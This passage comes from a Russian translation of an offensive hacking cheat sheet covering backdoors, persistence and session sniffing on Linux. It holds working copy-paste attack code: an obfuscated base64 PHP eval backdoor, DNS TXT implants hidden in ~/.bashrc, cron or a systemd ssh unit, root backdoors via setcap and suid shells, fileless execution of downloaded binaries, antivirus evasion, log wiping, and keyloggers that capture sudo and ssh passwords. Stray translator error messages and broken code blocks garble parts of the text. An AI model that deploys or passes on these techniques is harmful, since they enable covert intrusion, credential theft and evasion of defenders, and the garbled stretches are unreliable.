- Вместо этого настройте SSHD так, чтобы он также проверял `/etc/ssh/sshd_host_ed25519_key.pub` на наличие ключей аутентификации для входа.
- Теперь SSHD будет проверять `~/.ssh/authorized_keys` _и_ `/etc/ssh/ssh_host_ed25519_key.pub` на наличие допустимых ключей входа.
- Используйте секретный ключ `/etc/ssh/sshd_host_ed25519_key`, чтобы войти на целевую систему.
<a id="backdoor-network"></a>
**6.vi. Удалённый доступ ко всей сети**
Установите [gs-netcat](https://github.com/hackerschoice/gsocket). Он создаёт SOCKS-выходной узел (exit-node) в частной LAN хоста, доступный через Global Socket Relay Network, без необходимости запускать собственный relay-сервер (например, получите доступ к удалённой частной LAN напрямую со своей рабочей станции):```sh
gs-netcat -l -S # compromised Host
Теперь с вашей рабочей станции вы можете подключиться к ЛЮБОМУ хосту в частной локальной сети хоста:```sh gs-netcat -p 1080 # Your workstation.
socat - "SOCKS4a:127.1:route.local:22"
Читайте: [Использование любого инструмента через Socks Proxy](#scan-proxy).
Другие методы:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - наша собственная статья
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - из segfault.net в любую (внутреннюю) сеть.
<a id="php-backdoor"></a>
**6.v. Самый маленький PHP-бэкдор**
Добавьте эту строку в начало любого PHP-файла:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
Это base64-кодирование:```php if(isset($_POST[0])){system($_POST[0]);die;}
Проверьте бэкдор:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
Иногда system() запрещена. Добавьте eval(), чтобы разрешить удалённое выполнение PHP-кода в качестве запасного варианта. Спрячьте внутри других base64-комментариев для некоторой обфускации:```php
Активируйте с помощью любого из этих, чтобы выполнить команду или PHP-код:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'
6.vi. Самый маленький бэкдор с обратным DNS-туннелем
Выполняйте произвольные команды на сервере, который не доступен из публичного интернета, используя триггер обратного DNS.
Добавьте эту строку (имплант) в начало любого PHP-файла:```php
Имплант запрашивает полезную нагрузку через DNS TXT-запрос к домену `b00m.team-teso.net`. При срабатывании он создаёт `/tmp/.b00m` и уведомляет THC (через обратный вызов app.interactsh.com). *Пожалуйста*, используйте собственный домен, а также создайте собственную полезную нагрузку. Пример:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
bootloader. Используйте цикл while, чтобы загружать и выполнять более крупный пейлоад через DNS.Добавьте этот имплант в ~/.bashrc целевой системы или в crontab (demo-paypload):```shell
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null
или измените демо-пейлоад на сложный пейлоад:
- Запускает фоновый демон для опроса каждый час с целью выполнения команд.
- Зависит только от bash, dig и base64.
- Маскируется под `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- В примере снова используется `b00m2.team-teso.net`, и каждый час создаётся /tmp/.b00m.
Скопируйте и вставьте следующее в оболочку цели, чтобы сгенерировать однострочный имплант:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt
Добавьте однострочный результат работы скрипта в любой стартовый скрипт на целевой системе (используйте crontab, ~/.bashrc, udev или ExecStartPre=). Вот хитрый пример для /usr/lib/systemd/system/ssh.service (с некоторой дополнительной обфускацией):```
...
[Service]
EnvironmentFile=-/etc/default/ssh
Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash"
ExecStartPre=-bash -c 'eval $SSHD'
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
...
...in PERL:
---
То же самое, но требуется только perl + bash (не dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt
(спасибо LouCipher за Perl-версию)
Скопируйте и вставьте следующее в вашу оболочку:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }
Сгенерируйте свой payload (`egg.py` будет выполнен на целевой системе):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF
Сгенерируйте свой имплант (и следуйте инструкциям):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py
<a id="ld-backdoor"></a>
**6.vii. Локальный root-бэкдор**
#### 1. Бэкдор динамического загрузчика с помощью setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
The input chunk is empty — there is no content to translate. Please provide the actual Markdown text for chunk 374.```bash
fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'
#### 2. Старый добрый b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null
<a id="implant"></a>
**6.viii. Самораспаковывающийся имплант**
Создайте самораспаковывающийся shell-скрипт с помощью [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (см. исходный код для примеров).
Простой пример:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh
Лучше всего подходят реальные примеры:
2. Переименуйте `egg.sh` в `update-for-fools.txt` и загрузите как blob в GitHub-репозиторий [Signal](https://www.signal.org/).
3. Не дурачьте людей, заставляя их обновить Signal этой командой ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash
Получите важную информацию о хосте:```sh bash -c "$(curl -fsSL https://thc.org/ws)"
или```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
netstat, если нет netstat/ss/lsof:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
Проверьте скорость системы```sh
curl -fsSL https://bench.sh | bash
# Another speed check:
# curl -fsSL https://yabs.sh | bash
Найдите все suid/sgid бинарники:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null
Найти все доступные для записи каталоги:```bash
wfind() {
local arr dir
arr=("$@")
while [[ ${#arr[@]} -gt 0 ]]; do
dir=${arr[${#arr[@]}-1]}
unset "arr[${#arr[@]}-1]"
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr
Найдите локальные пароли (с помощью noseyparker или trufflehog):```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np &&
./np scan . &&
./np report --color=always | less -R
- Используйте [PassDetective](https://github.com/aydinnyunus/PassDetective) для поиска паролей в ~/.*history
- Используйте [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) для извлечения и дешифрования паролей Chrome из запущенного процесса (только для Windows)
- Извлекайте пароли из браузеров с помощью [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)
Использование `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .
Найти поддомены или email-адреса в файлах:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }
---
<a id="shell-hacks"></a>
## 8. Хитрости оболочки
<a id="shred"></a>
**8.i. Shred & затирание файла**```sh
shred -z foobar.txt
The input chunk is empty — there is no content to translate. Please provide the actual Markdown text for chunk 406/494.```sh
shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt
Note: Or deploy your files in */dev/shm* directory so that no data is written to the harddrive. Data will be deleted on reboot.
Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file.
<a id="restore-timestamp"></a>
**8.ii. Restore the date of a file**
Let's say you have modified */etc/passwd* but the file date now shows that */etc/passwd* has been modified. Use *touch* to change the file date to the date of another file (in this example, */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'
Используйте hackshell и ctime /etc/passwd, чтобы также скорректировать ctime и время создания (birth-time).
Это сбросит файл журнала до 0 без необходимости перезапускать syslogd и т.д.:```sh
/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
Это удалит любую строку, содержащую IP `1.2.3.4`, из файла журнала:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
Примеры:```sh
<a id="shell-hide-files"></a>
**8.iv. Скрытие файлов от этого пользователя без прав root**
Наша любимая рабочая директория — */dev/shm/*. Это место — энергозависимая память, и она будет потеряна при перезагрузке. НЕТ ЛОГОВ == НЕТ ПРЕСТУПЛЕНИЯ.
Скрытие постоянных файлов:
Метод 1:```sh
alias ls='ls -I system-dev'
Это скроет каталог system-dev от команды ls. Поместите это в ~/.profile пользователя или в общесистемный /etc/profile.
Метод 2: Приёмы из 80-х. Рассмотрите любую директорию, в которую администратор редко заглядывает (например, /boot/.X11/.. или что-то вроде):```sh mkdir '...' cd '...'
Метод 3:
Unix допускает имена файлов практически с любым ASCII-символом, кроме 0x00. Попробуйте табуляцию (*\t*). Часто бывает, что большинство администраторов не знают, как выполнить cd в такой каталог.```sh
mkdir $'\t'
cd $'\t'
8.v. Сделать файл неизменяемым
Это перенаправит /var/www/cgi/blah.cgi на /boot/backdoor.cgi. Файл blah.cgi нельзя изменить или удалить (если только не размонтировать).```sh
touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
<a id="nosudo"></a>
**8.vi. Смена пользователя без sudo/su**
Необходимо для создания скриншотов X11-сессий (то есть `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` или `import -display :0 -window root screenshot.png`)```bash
xsu() {
local name="${1:?}"
local u g h
local cmd="python"
command -v python3 >/dev/null && cmd="python3"
[ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
u=$(id -u ${name:?}) || return
g=$(id -g ${name:?}) || return
h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user
8.vii. Обфускация и шифрование пейлоада
Используйте UPX для упаковки ELF-бинарника (например, /bin/id):```shell
BIN="mybin"
upx -qqq /bin/id -o "${BIN}"
Очистите [заголовок UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) и 2-й заголовок ELF, чтобы обмануть антивирус:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"
При необходимости очистите сигнатуры и следы UPX:```shell
cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
mv "${BIN}.tmpupx" "${BIN}"
grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}"
perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"
Убедитесь, что бинарный файл не может быть распакован:```shell
upx -d "${BIN}" # Should fail with 'not packed by UPX'
При желании зашифруйте его с помощью bincrypter.
8.viii. Развертывание бэкдора без обращения к файловой системе
Запустите бэкдор, не записывая его в файловую систему, или когда все доступные для записи места смонтированы с пресловутым флагом noexec.
Однострочник на Perl для загрузки бинарного файла в память и его выполнения (без обращения к диску, /dev/shm или /tmp). См. Hackshell для подробностей.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }
Самый короткий возможный вариант (пример):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u
(Спасибо tmp.Out за содержательные обсуждения и предыдущие работы других)
Разверните gsocket без записи в файловую систему (пример):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))
Бэкдор также можно передать по SSH напрямую в память удалённой системы и выполнить:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"
Если у вас есть одна возможность удалённо выполнить команду (например, через PHP-эксплойт), то это ваша строка:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337
---
<a id="crypto"></a>
## 9. Криптография
<a id="gen-password"></a>
**9.i. Генерация быстрого случайного пароля**
Подходит для быстрых паролей без участия человека.```sh
openssl rand -base64 24
Если openssl недоступен, то мы также можем использовать head для чтения из /dev/urandom.```sh
head -c 32 < /dev/urandom | xxd -p -c 32
или сделайте его буквенно-цифровым```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16
9.ii.a. Переносимые зашифрованные файловые системы Linux - cryptsetup
Создайте зашифрованную файловую систему размером 256MB. Вам будет предложено ввести пароль.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec
Монтирование:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
Сохраните данные в /mnt/crypted, затем размонтируйте:```sh
umount /mnt/sec
cryptsetup close sec
<a id="encfs"></a>
**9.ii.b. Переносимые зашифрованные файловые системы Linux - EncFS**
Создайте ```.sec``` и сохраните зашифрованные данные в ```.raw```:```sh
mkdir .raw .sec
encfs --standard "${PWD}/.raw" "${PWD}/.sec"
размонтировать:```sh fusermount -u .sec
<a id="encrypting-file"></a>
**9.iii Шифрование файла**
Зашифруйте свои 0-Days и лог-файлы перед их передачей - пожалуйста. (и выберите свой собственный пароль):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
Пожалуйста, предоставьте исходный Markdown-контент для перевода.```sh
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
---
<a id="sniffing"></a>
## 10. Перехват и угон сеанса
<a id="session-sniffing"></a>
**10.i Перехват SHELL-сеанса пользователя**
Однострочник для `~/.bashrc`, который перехватывает нажатия клавиш пользователя и сохраняет их в `~/.config/.pty/.@*`. Полезен, когда у вас нет прав root и нужно перехватить учётные данные sudo/ssh/git пользователя.
Развёртывание: скопируйте и вставьте следующее в целевую систему и следуйте инструкциям:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
/usr/bin/script из util-linux >= 2.37 (флаг -I). Мы берём статический бинарник с pkgforge.ssh -o "SetEnv LC_PTY=1", чтобы отключить ведение журнала.10.ii Перехват всех SHELL-сессий с помощью dtrace - FreeBSD
Особенно полезно для Solaris/SunOS и FreeBSD (pfSense). Он использует зонды ядра для трассировки всех процессов sshd.
Скопируйте этот «D-скрипт» в целевую систему в файл с именем d:```c
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
Запустите dtrace и запишите журнал в /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)
10.iii Перехват всех SHELL-сессий с помощью eBPF — Linux
eBPF позволяет нам безопасно перехватывать более 120 000 функций в ядре. Это что-то вроде улучшенного «dtrace», но для Linux.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt
Check out our very own [eBPF tools to sniff sudo/su/ssh passwords](https://github.com/hackerschoice/bpfhacks). → Посмотрите на наши собственные [eBPF-инструменты для перехвата паролей sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).
<a id="ssh-sniffing-strace"></a>
**10.iv Перехват SSH, bash или SSHD-сеанса пользователя с помощью strace**```sh
tit() {
strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ... | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)
It is also possible to sniff the SSHD process (captures also sudo passwords etc). Note that we trace the write() call instead (because sshd 'writes' data to the bash):```sh
ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...
Sniff 7770 (пример):```shell
tit write 7770
10.v. Перехват исходящей SSH-сессии пользователя с помощью скрипта-обёртки
Ещё более грязный метод на случай, если /proc/sys/kernel/yama/ptrace_scope установлен в 1 (strace не сработает на уже запущенных SSH-сессиях)
Создайте скрипт-обёртку под названием 'ssh', который выполняет strace + ssh для журналирования сессии:
mkdir -p ~/.local/bin ~/.local/logs
cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF
cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF
chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile
echo -e "\033[1;32mSUCCESS.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile
rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
(thanks to Gerald for testing this)
</details>
SSH-сессия будет перехвачена и записана в *~/.ssh/logs/* при следующем входе пользователя в его оболочку и использовании SSH.
<a id="ssh-sniffing-sshit"></a>
**10.vi Перехват исходящей SSH-сессии пользователя с помощью SSH-IT**
Самый простой способ — использовать [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
10.vii Перехват / захват запущенной SSH-сессии
---
[Read more](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet)